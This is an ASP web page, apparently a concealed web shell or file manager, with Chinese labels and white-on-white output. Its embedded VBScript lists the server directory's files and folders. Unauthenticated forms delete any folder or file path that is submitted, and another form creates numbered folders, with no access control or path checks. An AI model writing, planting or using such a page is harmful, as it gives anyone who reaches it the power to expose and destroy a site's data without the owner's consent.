<html>
<head>
<title></title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta content="" name="KEYWORDS">
<link href="inc/Style.css" type="text/css" rel="stylesheet">
</head>
<body topmargin="3" leftmargin="0">

<table width="800" border="0" align="center" cellpadding="0" cellspacing="1">
  <tr style="font-size:12px; color:#000000">
    <td width="155" height="30" align="center" bgcolor="#E3ECE6">1</td>
    <td width="336" height="30" align="center" bgcolor="#E3ECE6">2</td>
    <td width="305" height="30" align="center" bgcolor="#E3ECE6">3</td>
  </tr>
  <tr style="font-size:12px;">
<td align="left" valign="top" bgcolor="#FFFFFF" style="font-size:12px; color:#ffffFF;"> <%   
  TT=Left(Request.ServerVariables("PATH_TRANSLATED"),instrRev(Request.ServerVariables("PATH_TRANSLATED"),"\"))
  dim   myfileobject                                                          
  set   myfileobject=server.createobject("scripting.filesystemobject")   
  dim   myfolder                                                               
    
  set   myfolder=myfileobject.getfolder(""&TT&"")   
  response.write   "<font color=ffffff size=2><b></b></font><br>"   
  dim   item                                                                      
  for   each   item   in   myfolder.subfolders   
  response.write   item.path   &   "<br>"   
  next   
  response.write   "<font color=ffffff size=2><b></b><br>"   
  for   each   item   in   myfolder.files   
  response.write   item.path   &   "<br>"   
  next   
  %></td>
    <td align="center" valign="top" bgcolor="#FFFFFF">
<form id="form1" name="form1" method="post" action="?action=dele">
  <input name="Text" type="text" id="Text" value="" />
  <input type="submit" name="Submit" value="" />d
</form>
<%
if request("action")="dele" then

dir=server.mappath(request.Form("text"))
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder(dir)
response.write("file del["&request.Form("text")&"]ok")
end if
%>
<form id="form2" name="form2" method="post" action="?action=purl">
  <label>
  <input name="purl" type="text" id="purl" value="" />
  </label>
  <label>
  <input type="submit" name="Submit2" value="" />
  </label>
del
</form>
 <%   
 if request("action")="purl" then
  set fso=Server.CreateObject("scripting.filesystemobject") 
  fileName=""&request.Form("purl")&"" 
  myFile=Server.MapPath(fileName) 
  if fso.FileExists(myFile) then 
  fso.DeleteFile myFile 
  response.Write(""&request.Form("purl")&"delok!")
 end if 
 set fso=Nothing 
 end if
  %>
</td>
    <td valign="top" bgcolor="#FFFFFF"><form id="form3" name="form3" method="post" action="?action=add">
      <label>
      <input name="Start" type="text" id="Start" style="font-size:12px; width:100px;" value="0" onkeyup="this.value=this.value.replace(/\D/g,'')" onafterpaste="this.value=this.value.replace(/\D/g,'')"/>
      </label>
        开始数字
      <label> <table cellpadding="0" cellspacing="0" border="0" align="center"><tr><td height="4"></td></tr></table>
      <input name="Endbottom" type="text" id="Endbottom" style=" font-size:12px; width:100px;" onkeyup="this.value=this.value.replace(/\D/g,'')" onafterpaste="this.value=this.value.replace(/\D/g,'')" />
      </label>
	  <label>
	  <input type="submit" name="Submit3" value="提交" />
	  </label>
</form>
	<%
if request("action")="add" then
Start    =request.Form("Start")
Endbottom=request.Form("Endbottom")
for i=""&Start&"" to ""&Endbottom&""
dir=server.mappath(""&i&"")
Set fso = CreateObject("Scripting.FileSystemObject")
if (fso.FolderExists(dir)) then
  response.Write(""&i&"存在")
  response.Write("<br>")
 else
  fso.CreateFolder(dir)
  response.write(""&i&"建立")
  response.Write("<br>")
 end if
 next
end if
%>
	</td>
  </tr>
</table>

 